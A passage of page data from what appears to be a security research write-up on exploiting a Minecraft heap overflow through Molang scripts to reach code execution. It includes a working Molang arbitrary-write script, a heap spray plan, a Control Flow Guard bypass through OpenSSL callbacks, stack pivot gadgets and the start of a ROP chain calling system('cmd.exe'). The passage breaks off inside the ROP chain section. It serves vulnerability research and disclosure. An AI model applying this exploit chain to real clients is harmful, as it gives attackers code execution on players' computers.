",{"type":21,"tag":66,"props":155397,"children":155399},{"className":155398},[],[155400],{"type":26,"value":155401},"vtable",{"type":26,"value":155403}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":21,"tag":75,"props":155405,"children":155407},{"code":155406},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[155408],{"type":21,"tag":66,"props":155409,"children":155410},{"__ignoreMap":7},[155411],{"type":26,"value":155406},{"type":21,"tag":22,"props":155413,"children":155414},{},[155415,155416,155421,155423,155428,155430,155435,155437,155442,155444,155449,155450,155455,155457,155462],{"type":26,"value":17034},{"type":21,"tag":66,"props":155417,"children":155419},{"className":155418},[],[155420],{"type":26,"value":39600},{"type":26,"value":155422}," field inside a ",{"type":21,"tag":66,"props":155424,"children":155426},{"className":155425},[],[155427],{"type":26,"value":153063},{"type":26,"value":155429}," is at offset ",{"type":21,"tag":66,"props":155431,"children":155433},{"className":155432},[],[155434],{"type":26,"value":153324},{"type":26,"value":155436},". We already control a corrupted variable, ",{"type":21,"tag":66,"props":155438,"children":155440},{"className":155439},[],[155441],{"type":26,"value":155330},{"type":26,"value":155443},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":21,"tag":66,"props":155445,"children":155447},{"className":155446},[],[155448],{"type":26,"value":3520},{"type":26,"value":154371},{"type":21,"tag":66,"props":155451,"children":155453},{"className":155452},[],[155454],{"type":26,"value":153566},{"type":26,"value":155456}," by 2 bytes, which in turn advances ",{"type":21,"tag":66,"props":155458,"children":155460},{"className":155459},[],[155461],{"type":26,"value":155330},{"type":26,"value":155463}," by 2 bytes.",{"type":21,"tag":22,"props":155465,"children":155466},{},[155467,155469,155474,155476,155482,155483,155488,155489,155494,155496,155501],{"type":26,"value":155468},"By moving ",{"type":21,"tag":66,"props":155470,"children":155472},{"className":155471},[],[155473],{"type":26,"value":3520},{"type":26,"value":155475}," so it equals ",{"type":21,"tag":66,"props":155477,"children":155479},{"className":155478},[],[155480],{"type":26,"value":155481},"cap - 0x38",{"type":26,"value":102759},{"type":21,"tag":66,"props":155484,"children":155486},{"className":155485},[],[155487],{"type":26,"value":39600},{"type":26,"value":154371},{"type":21,"tag":66,"props":155490,"children":155492},{"className":155491},[],[155493],{"type":26,"value":155330},{"type":26,"value":155495}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":21,"tag":66,"props":155497,"children":155499},{"className":155498},[],[155500],{"type":26,"value":155401},{"type":26,"value":155502}," pointer. We can then capture that pointer with:",{"type":21,"tag":75,"props":155504,"children":155506},{"code":155505},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[155507],{"type":21,"tag":66,"props":155508,"children":155509},{"__ignoreMap":7},[155510],{"type":26,"value":155505},{"type":21,"tag":22,"props":155512,"children":155513},{},[155514,155516,155521,155523,155528,155530,155535,155537,155543],{"type":26,"value":155515},"After saving the leak, we add 27 unseen variables to advance ",{"type":21,"tag":66,"props":155517,"children":155519},{"className":155518},[],[155520],{"type":26,"value":3520},{"type":26,"value":155522}," until it equals ",{"type":21,"tag":66,"props":155524,"children":155526},{"className":155525},[],[155527],{"type":26,"value":155267},{"type":26,"value":155529},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":21,"tag":66,"props":155531,"children":155533},{"className":155532},[],[155534],{"type":26,"value":155401},{"type":26,"value":155536}," address in ",{"type":21,"tag":66,"props":155538,"children":155540},{"className":155539},[],[155541],{"type":26,"value":155542},"variable.saved_vtable_pointer",{"type":26,"value":73},{"type":21,"tag":19218,"props":155545,"children":155546},{},[],{"type":21,"tag":22,"props":155548,"children":155549},{},[155550,155552,155557,155559,155565],{"type":26,"value":155551},"A Molang script that performs an arbitrary write of the value ",{"type":21,"tag":66,"props":155553,"children":155555},{"className":155554},[],[155556],{"type":26,"value":43953},{"type":26,"value":155558}," to the address ",{"type":21,"tag":66,"props":155560,"children":155562},{"className":155561},[],[155563],{"type":26,"value":155564},"vtable + 0x1000",{"type":26,"value":155566}," looks like this:",{"type":21,"tag":75,"props":155568,"children":155570},{"code":155569},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[155571],{"type":21,"tag":66,"props":155572,"children":155573},{"__ignoreMap":7},[155574],{"type":26,"value":155569},{"type":21,"tag":19318,"props":155576,"children":155578},{"id":155577},"required-heap-layout",[155579],{"type":26,"value":155580},"Required Heap Layout",{"type":21,"tag":22,"props":155582,"children":155583},{},[155584],{"type":26,"value":155585},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":21,"tag":75,"props":155587,"children":155589},{"code":155588},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[155590],{"type":21,"tag":66,"props":155591,"children":155592},{"__ignoreMap":7},[155593],{"type":26,"value":155588},{"type":21,"tag":22,"props":155595,"children":155596},{},[155597,155599,155605,155607,155612,155614,155619,155621,155626,155627,155632],{"type":26,"value":155598},"The first region (",{"type":21,"tag":66,"props":155600,"children":155602},{"className":155601},[],[155603],{"type":26,"value":155604},"Heap Region 1",{"type":26,"value":155606},") contains alternating ",{"type":21,"tag":66,"props":155608,"children":155610},{"className":155609},[],[155611],{"type":26,"value":153390},{"type":26,"value":155613},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":21,"tag":66,"props":155615,"children":155617},{"className":155616},[],[155618],{"type":26,"value":153420},{"type":26,"value":155620}," pointers of ",{"type":21,"tag":66,"props":155622,"children":155624},{"className":155623},[],[155625],{"type":26,"value":153390},{"type":26,"value":11408},{"type":21,"tag":66,"props":155628,"children":155630},{"className":155629},[],[155631],{"type":26,"value":153566},{"type":26,"value":155633}," from the entity object for our main attack.",{"type":21,"tag":22,"props":155635,"children":155636},{},[155637,155639,155645,155647,155652,155654,155659,155661,155666,155668,155673],{"type":26,"value":155638},"The second region (",{"type":21,"tag":66,"props":155640,"children":155642},{"className":155641},[],[155643],{"type":26,"value":155644},"Heap Region 2",{"type":26,"value":155646},") contains interleaved ",{"type":21,"tag":66,"props":155648,"children":155650},{"className":155649},[],[155651],{"type":26,"value":153566},{"type":26,"value":155653},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":21,"tag":66,"props":155655,"children":155657},{"className":155656},[],[155658],{"type":26,"value":155401},{"type":26,"value":155660}," pointer into ",{"type":21,"tag":66,"props":155662,"children":155664},{"className":155663},[],[155665],{"type":26,"value":155330},{"type":26,"value":155667}," during our main attack. It could be any object with a ",{"type":21,"tag":66,"props":155669,"children":155671},{"className":155670},[],[155672],{"type":26,"value":155401},{"type":26,"value":155674},", but for simplicity we use the entity object.",{"type":21,"tag":22,"props":155676,"children":155677},{},[155678,155680,155686,155688,155693],{"type":26,"value":155679},"During the attack, overwriting another variable's pointer with\n",{"type":21,"tag":66,"props":155681,"children":155683},{"className":155682},[],[155684],{"type":26,"value":155685},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":26,"value":155687}," will very likely clobber the ",{"type":21,"tag":66,"props":155689,"children":155691},{"className":155690},[],[155692],{"type":26,"value":153886},{"type":26,"value":155694}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":21,"tag":22,"props":155696,"children":155697},{},[155698],{"type":26,"value":155699},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":21,"tag":22,"props":155701,"children":155702},{},[155703],{"type":26,"value":155704},"The final exploit proceeds in three stages:",{"type":21,"tag":841,"props":155706,"children":155707},{},[155708,155713,155718],{"type":21,"tag":845,"props":155709,"children":155710},{},[155711],{"type":26,"value":155712},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":21,"tag":845,"props":155714,"children":155715},{},[155716],{"type":26,"value":155717},"Perform the heap spray with signs to create the desired layout for the attack",{"type":21,"tag":845,"props":155719,"children":155720},{},[155721],{"type":26,"value":155722},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":21,"tag":19318,"props":155724,"children":155726},{"id":155725},"initial-corruption-variant-lfh-heap-approach",[155727],{"type":26,"value":155728},"Initial Corruption Variant: LFH Heap Approach",{"type":21,"tag":22,"props":155730,"children":155731},{},[155732],{"type":26,"value":155733},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":21,"tag":22,"props":155735,"children":155736},{},[155737,155739,155744,155745,155751],{"type":26,"value":155738},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":21,"tag":66,"props":155740,"children":155742},{"className":155741},[],[155743],{"type":26,"value":153633},{"type":26,"value":820},{"type":21,"tag":66,"props":155746,"children":155748},{"className":155747},[],[155749],{"type":26,"value":155750},"last_index",{"type":26,"value":155752}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":21,"tag":22,"props":155754,"children":155755},{},[155756,155758,155763,155764,155769,155771,155776,155778,155783,155785,155790,155792,155798,155799,155805,155806,155812],{"type":26,"value":155757},"The main attack can be arranged by making the resulting index point at the ",{"type":21,"tag":66,"props":155759,"children":155761},{"className":155760},[],[155762],{"type":26,"value":150586},{"type":26,"value":154371},{"type":21,"tag":66,"props":155765,"children":155767},{"className":155766},[],[155768],{"type":26,"value":153566},{"type":26,"value":155770},". From there, the script can overwrite three variable indices at offset ",{"type":21,"tag":66,"props":155772,"children":155774},{"className":155773},[],[155775],{"type":26,"value":153324},{"type":26,"value":155777}," within the ",{"type":21,"tag":66,"props":155779,"children":155781},{"className":155780},[],[155782],{"type":26,"value":153566},{"type":26,"value":155784}," by using the string type. This works because a Molang string's value is just a ",{"type":21,"tag":66,"props":155786,"children":155788},{"className":155787},[],[155789],{"type":26,"value":56091},{"type":26,"value":155791}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":21,"tag":66,"props":155793,"children":155795},{"className":155794},[],[155796],{"type":26,"value":155797},"0xfb",{"type":26,"value":256},{"type":21,"tag":66,"props":155800,"children":155802},{"className":155801},[],[155803],{"type":26,"value":155804},"0xfc",{"type":26,"value":11408},{"type":21,"tag":66,"props":155807,"children":155809},{"className":155808},[],[155810],{"type":26,"value":155811},"0xfd",{"type":26,"value":155813}," the script would do:",{"type":21,"tag":75,"props":155815,"children":155817},{"code":155816},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[155818],{"type":21,"tag":66,"props":155819,"children":155820},{"__ignoreMap":7},[155821],{"type":26,"value":155816},{"type":21,"tag":22,"props":155823,"children":155824},{},[155825,155827,155832,155833,155839,155841,155846],{"type":26,"value":155826},"That line would write the ",{"type":21,"tag":66,"props":155828,"children":155830},{"className":155829},[],[155831],{"type":26,"value":56091},{"type":26,"value":92635},{"type":21,"tag":66,"props":155834,"children":155836},{"className":155835},[],[155837],{"type":26,"value":155838},"0x302700fb00fc00fd",{"type":26,"value":155840}," (string's FNV-1 hash) into the allocated ",{"type":21,"tag":66,"props":155842,"children":155844},{"className":155843},[],[155845],{"type":26,"value":153566},{"type":26,"value":155847}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":21,"tag":10022,"props":155849,"children":155851},{"id":155850},"hijacking-execution",[155852],{"type":26,"value":155853},"Hijacking Execution",{"type":21,"tag":22,"props":155855,"children":155856},{},[155857,155859,155864,155866,155872],{"type":26,"value":155858},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":21,"tag":66,"props":155860,"children":155862},{"className":155861},[],[155863],{"type":26,"value":155401},{"type":26,"value":155865}," and function pointers in the writable ",{"type":21,"tag":66,"props":155867,"children":155869},{"className":155868},[],[155870],{"type":26,"value":155871},".data",{"type":26,"value":155873}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":21,"tag":22,"props":155875,"children":155876},{},[155877],{"type":26,"value":155878},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":21,"tag":22,"props":155880,"children":155881},{},[155882],{"type":26,"value":155883},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":21,"tag":22,"props":155885,"children":155886},{},[155887],{"type":21,"tag":4681,"props":155888,"children":155890},{"alt":51034,"src":155889},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":21,"tag":22,"props":155892,"children":155893},{},[155894,155896,155902,155904,155910,155912,155917,155919,155924,155926,155932,155934,155939,155941,155947,155949,155954],{"type":26,"value":155895},"This snippet calls a method on an object: ",{"type":21,"tag":66,"props":155897,"children":155899},{"className":155898},[],[155900],{"type":26,"value":155901},"rcx",{"type":26,"value":155903}," holds the object pointer, the first ",{"type":21,"tag":66,"props":155905,"children":155907},{"className":155906},[],[155908],{"type":26,"value":155909},"mov",{"type":26,"value":155911}," loads the object's ",{"type":21,"tag":66,"props":155913,"children":155915},{"className":155914},[],[155916],{"type":26,"value":155401},{"type":26,"value":155918}," into ",{"type":21,"tag":66,"props":155920,"children":155922},{"className":155921},[],[155923],{"type":26,"value":57231},{"type":26,"value":155925},", and the function pointer at ",{"type":21,"tag":66,"props":155927,"children":155929},{"className":155928},[],[155930],{"type":26,"value":155931},"rax + 0x8",{"type":26,"value":155933}," is read into ",{"type":21,"tag":66,"props":155935,"children":155937},{"className":155936},[],[155938],{"type":26,"value":57231},{"type":26,"value":155940},". Finally, ",{"type":21,"tag":66,"props":155942,"children":155944},{"className":155943},[],[155945],{"type":26,"value":155946},"__guard_dispatch_icall_fptr",{"type":26,"value":155948}," is called - this is the CFG dispatch function that validates ",{"type":21,"tag":66,"props":155950,"children":155952},{"className":155951},[],[155953],{"type":26,"value":57231},{"type":26,"value":155955}," as a legal call target before invoking it.",{"type":21,"tag":22,"props":155957,"children":155958},{},[155959],{"type":26,"value":155960},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":21,"tag":22,"props":155962,"children":155963},{},[155964],{"type":21,"tag":4681,"props":155965,"children":155967},{"alt":51034,"src":155966},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":21,"tag":22,"props":155969,"children":155970},{},[155971,155973,155979,155981,155987],{"type":26,"value":155972},"Here, the function pointer at ",{"type":21,"tag":66,"props":155974,"children":155976},{"className":155975},[],[155977],{"type":26,"value":155978},"vtable + 0x10",{"type":26,"value":155980}," is loaded into ",{"type":21,"tag":66,"props":155982,"children":155984},{"className":155983},[],[155985],{"type":26,"value":155986},"rdx",{"type":26,"value":155988}," and then called directly.",{"type":21,"tag":22,"props":155990,"children":155991},{},[155992],{"type":26,"value":155993},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":21,"tag":22,"props":155995,"children":155996},{},[155997,155999,156004],{"type":26,"value":155998},"So the remaining task is to locate OpenSSL function or ",{"type":21,"tag":66,"props":156000,"children":156002},{"className":156001},[],[156003],{"type":26,"value":155401},{"type":26,"value":156005}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":21,"tag":19318,"props":156007,"children":156009},{"id":156008},"locating-overwrite-targets",[156010],{"type":26,"value":156011},"Locating Overwrite Targets",{"type":21,"tag":22,"props":156013,"children":156014},{},[156015,156017,156023,156024,156029,156031,156036,156038,156044],{"type":26,"value":156016},"One of the first targets we identified were the ",{"type":21,"tag":66,"props":156018,"children":156020},{"className":156019},[],[156021],{"type":26,"value":156022},"malloc",{"type":26,"value":11408},{"type":21,"tag":66,"props":156025,"children":156027},{"className":156026},[],[156028],{"type":26,"value":150634},{"type":26,"value":156030}," callbacks. These reside in the ",{"type":21,"tag":66,"props":156032,"children":156034},{"className":156033},[],[156035],{"type":26,"value":155871},{"type":26,"value":156037}," section and are invoked whenever they don’t match the expected ",{"type":21,"tag":66,"props":156039,"children":156041},{"className":156040},[],[156042],{"type":26,"value":156043},"OPENSSL_malloc/free",{"type":26,"value":132492},{"type":21,"tag":22,"props":156046,"children":156047},{},[156048],{"type":21,"tag":4681,"props":156049,"children":156051},{"alt":51034,"src":156050},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":21,"tag":22,"props":156053,"children":156054},{},[156055],{"type":26,"value":156056},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":21,"tag":22,"props":156058,"children":156059},{},[156060,156062,156068,156070,156076,156078,156083],{"type":26,"value":156061},"Later, we found another promising function: ",{"type":21,"tag":66,"props":156063,"children":156065},{"className":156064},[],[156066],{"type":26,"value":156067},"ossl_ec_key_new_method_int",{"type":26,"value":156069},". This function creates and initializes an ",{"type":21,"tag":66,"props":156071,"children":156073},{"className":156072},[],[156074],{"type":26,"value":156075},"EC_KEY",{"type":26,"value":156077}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":21,"tag":66,"props":156079,"children":156081},{"className":156080},[],[156082],{"type":26,"value":155871},{"type":26,"value":156084},") containing function pointers:",{"type":21,"tag":22,"props":156086,"children":156087},{},[156088],{"type":21,"tag":4681,"props":156089,"children":156091},{"alt":51034,"src":156090},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":21,"tag":22,"props":156093,"children":156094},{},[156095,156097,156103,156104,156110,156112,156117,156119,156125,156127,156132,156134,156139,156141,156146],{"type":26,"value":156096},"In the image above, ",{"type":21,"tag":66,"props":156098,"children":156100},{"className":156099},[],[156101],{"type":26,"value":156102},"ret->meth",{"type":26,"value":125956},{"type":21,"tag":66,"props":156105,"children":156107},{"className":156106},[],[156108],{"type":26,"value":156109},"default_ec_key_meth",{"type":26,"value":156111},", which points to a structure of function pointers located in ",{"type":21,"tag":66,"props":156113,"children":156115},{"className":156114},[],[156116],{"type":26,"value":155871},{"type":26,"value":156118},". It then calls ",{"type":21,"tag":66,"props":156120,"children":156122},{"className":156121},[],[156123],{"type":26,"value":156124},"ret->meth->init",{"type":26,"value":156126},", passing the ",{"type":21,"tag":66,"props":156128,"children":156130},{"className":156129},[],[156131],{"type":26,"value":18116},{"type":26,"value":156133}," pointer (",{"type":21,"tag":66,"props":156135,"children":156137},{"className":156136},[],[156138],{"type":26,"value":11406},{"type":26,"value":156140},"). This alone isn’t especially useful because ",{"type":21,"tag":66,"props":156142,"children":156144},{"className":156143},[],[156145],{"type":26,"value":11406},{"type":26,"value":156147}," is heap-allocated.",{"type":21,"tag":22,"props":156149,"children":156150},{},[156151,156153,156158],{"type":26,"value":156152},"But, if we look at how ",{"type":21,"tag":66,"props":156154,"children":156156},{"className":156155},[],[156157],{"type":26,"value":156124},{"type":26,"value":156159}," is invoked in the disassembly:",{"type":21,"tag":22,"props":156161,"children":156162},{},[156163],{"type":21,"tag":4681,"props":156164,"children":156166},{"alt":51034,"src":156165},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":21,"tag":22,"props":156168,"children":156169},{},[156170,156171,156176,156178,156183,156185,156190,156192,156197,156199,156204,156206,156211,156213,156218,156220,156226],{"type":26,"value":1826},{"type":21,"tag":66,"props":156172,"children":156174},{"className":156173},[],[156175],{"type":26,"value":156124},{"type":26,"value":156177}," is not ",{"type":21,"tag":66,"props":156179,"children":156181},{"className":156180},[],[156182],{"type":26,"value":54952},{"type":26,"value":156184},", it is called while ",{"type":21,"tag":66,"props":156186,"children":156188},{"className":156187},[],[156189],{"type":26,"value":57231},{"type":26,"value":156191}," still contains the value of ",{"type":21,"tag":66,"props":156193,"children":156195},{"className":156194},[],[156196],{"type":26,"value":156102},{"type":26,"value":156198}," - that is, a pointer to the structure in ",{"type":21,"tag":66,"props":156200,"children":156202},{"className":156201},[],[156203],{"type":26,"value":155871},{"type":26,"value":156205}," that we control. This is ideal, because we can overwrite ",{"type":21,"tag":66,"props":156207,"children":156209},{"className":156208},[],[156210],{"type":26,"value":156109},{"type":26,"value":156212}," with a pointer to a region in ",{"type":21,"tag":66,"props":156214,"children":156216},{"className":156215},[],[156217],{"type":26,"value":155871},{"type":26,"value":156219}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":21,"tag":66,"props":156221,"children":156223},{"className":156222},[],[156224],{"type":26,"value":156225},"mov rsp, rax; ret",{"type":26,"value":156227},"-style gadget.",{"type":21,"tag":22,"props":156229,"children":156230},{},[156231,156233,156238,156240,156245],{"type":26,"value":156232},"Although we discovered that ",{"type":21,"tag":66,"props":156234,"children":156236},{"className":156235},[],[156237],{"type":26,"value":156067},{"type":26,"value":156239}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":21,"tag":66,"props":156241,"children":156243},{"className":156242},[],[156244],{"type":26,"value":156043},{"type":26,"value":156246}," callbacks.",{"type":21,"tag":19318,"props":156248,"children":156250},{"id":156249},"stack-pivot",[156251],{"type":26,"value":156252},"Stack Pivot",{"type":21,"tag":22,"props":156254,"children":156255},{},[156256,156258,156263,156265,156270,156272,156277,156279,156285],{"type":26,"value":156257},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":21,"tag":66,"props":156259,"children":156261},{"className":156260},[],[156262],{"type":26,"value":155871},{"type":26,"value":156264},", overwrite ",{"type":21,"tag":66,"props":156266,"children":156268},{"className":156267},[],[156269],{"type":26,"value":156109},{"type":26,"value":156271}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":21,"tag":66,"props":156273,"children":156275},{"className":156274},[],[156276],{"type":26,"value":156067},{"type":26,"value":156278},". This ultimately calls ",{"type":21,"tag":66,"props":156280,"children":156282},{"className":156281},[],[156283],{"type":26,"value":156284},"default_ec_key_meth->init",{"type":26,"value":156286},", which executes the pivot and begins ROP execution.",{"type":21,"tag":22,"props":156288,"children":156289},{},[156290,156292,156298,156300,156306],{"type":26,"value":156291},"We chose to overwrite the ",{"type":21,"tag":66,"props":156293,"children":156295},{"className":156294},[],[156296],{"type":26,"value":156297},"OPENSSL_free",{"type":26,"value":156299}," callback. This produces only a minor memory leak, while overwriting ",{"type":21,"tag":66,"props":156301,"children":156303},{"className":156302},[],[156304],{"type":26,"value":156305},"OPENSSL_malloc",{"type":26,"value":156307}," would require our replacement function to return a writable, unused memory region.",{"type":21,"tag":22,"props":156309,"children":156310},{},[156311,156313,156319,156320,156326,156328,156333],{"type":26,"value":156312},"For the stack pivot, we found two useful gadgets: ",{"type":21,"tag":66,"props":156314,"children":156316},{"className":156315},[],[156317],{"type":26,"value":156318},"add rsp, 0x10; pop r14; ret",{"type":26,"value":11408},{"type":21,"tag":66,"props":156321,"children":156323},{"className":156322},[],[156324],{"type":26,"value":156325},"xchg rsp, rax; ret",{"type":26,"value":156327},". The exploit writes them into ",{"type":21,"tag":66,"props":156329,"children":156331},{"className":156330},[],[156332],{"type":26,"value":155871},{"type":26,"value":156334}," like this:",{"type":21,"tag":75,"props":156336,"children":156338},{"code":156337},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[156339],{"type":21,"tag":66,"props":156340,"children":156341},{"__ignoreMap":7},[156342],{"type":26,"value":156337},{"type":21,"tag":22,"props":156344,"children":156345},{},[156346,156348,156353,156355,156360,156362,156367,156369,156374,156376,156381,156383,156388,156390,156395],{"type":26,"value":156347},"The second gadget, ",{"type":21,"tag":66,"props":156349,"children":156351},{"className":156350},[],[156352],{"type":26,"value":156325},{"type":26,"value":156354},", is placed in the slot corresponding to the ",{"type":21,"tag":66,"props":156356,"children":156358},{"className":156357},[],[156359],{"type":26,"value":21168},{"type":26,"value":156361}," function pointer. As mentioned earlier, when ",{"type":21,"tag":66,"props":156363,"children":156365},{"className":156364},[],[156366],{"type":26,"value":156124},{"type":26,"value":156368}," is called, ",{"type":21,"tag":66,"props":156370,"children":156372},{"className":156371},[],[156373],{"type":26,"value":57231},{"type":26,"value":156375}," contains a pointer to ",{"type":21,"tag":66,"props":156377,"children":156379},{"className":156378},[],[156380],{"type":26,"value":156109},{"type":26,"value":156382}," - which we have overwritten and now points to our ",{"type":21,"tag":66,"props":156384,"children":156386},{"className":156385},[],[156387],{"type":26,"value":156318},{"type":26,"value":156389}," gadget in ",{"type":21,"tag":66,"props":156391,"children":156393},{"className":156392},[],[156394],{"type":26,"value":155871},{"type":26,"value":73},{"type":21,"tag":22,"props":156397,"children":156398},{},[156399,156401,156407,156409,156414,156416,156422,156424,156429,156431,156436,156438,156443,156445,156450,156452,156457,156459,156464],{"type":26,"value":156400},"When the call occurs, ",{"type":21,"tag":66,"props":156402,"children":156404},{"className":156403},[],[156405],{"type":26,"value":156406},"xchg rsp, rax",{"type":26,"value":156408}," swaps the stack pointer with this controlled pointer inside ",{"type":21,"tag":66,"props":156410,"children":156412},{"className":156411},[],[156413],{"type":26,"value":155871},{"type":26,"value":156415},", effectively moving ",{"type":21,"tag":66,"props":156417,"children":156419},{"className":156418},[],[156420],{"type":26,"value":156421},"rsp",{"type":26,"value":156423}," into our ROP region. After the ",{"type":21,"tag":66,"props":156425,"children":156427},{"className":156426},[],[156428],{"type":26,"value":11406},{"type":26,"value":156430},", execution continues at ",{"type":21,"tag":66,"props":156432,"children":156434},{"className":156433},[],[156435],{"type":26,"value":156318},{"type":26,"value":156437},", which advances ",{"type":21,"tag":66,"props":156439,"children":156441},{"className":156440},[],[156442],{"type":26,"value":156421},{"type":26,"value":156444}," by ",{"type":21,"tag":66,"props":156446,"children":156448},{"className":156447},[],[156449],{"type":26,"value":44987},{"type":26,"value":156451}," bytes, skipping over the padding and the ",{"type":21,"tag":66,"props":156453,"children":156455},{"className":156454},[],[156456],{"type":26,"value":156325},{"type":26,"value":156458}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":21,"tag":66,"props":156460,"children":156462},{"className":156461},[],[156463],{"type":26,"value":156325},{"type":26,"value":156465},") begins executing.",{"type":21,"tag":10022,"props":156467,"children":156469},{"id":156468},"rop-chain",[156470],{"type":26,"value":156471},"ROP Chain",{"type":21,"tag":22,"props":156473,"children":156474},{},[156475,156477,156483,156485,156490],{"type":26,"value":156476},"For the demo, the ROP chain simply calls ",{"type":21,"tag":66,"props":156478,"children":156480},{"className":156479},[],[156481],{"type":26,"value":156482},"system(\"cmd.exe\")",{"type":26,"value":156484},". Because Minecraft does not use ",{"type":21,"tag":66,"props":156486,"children":156488},{"className":156487},[],[156489],{"type":26,"value":132214},{"type":26,"value":156491},", the symbol is not 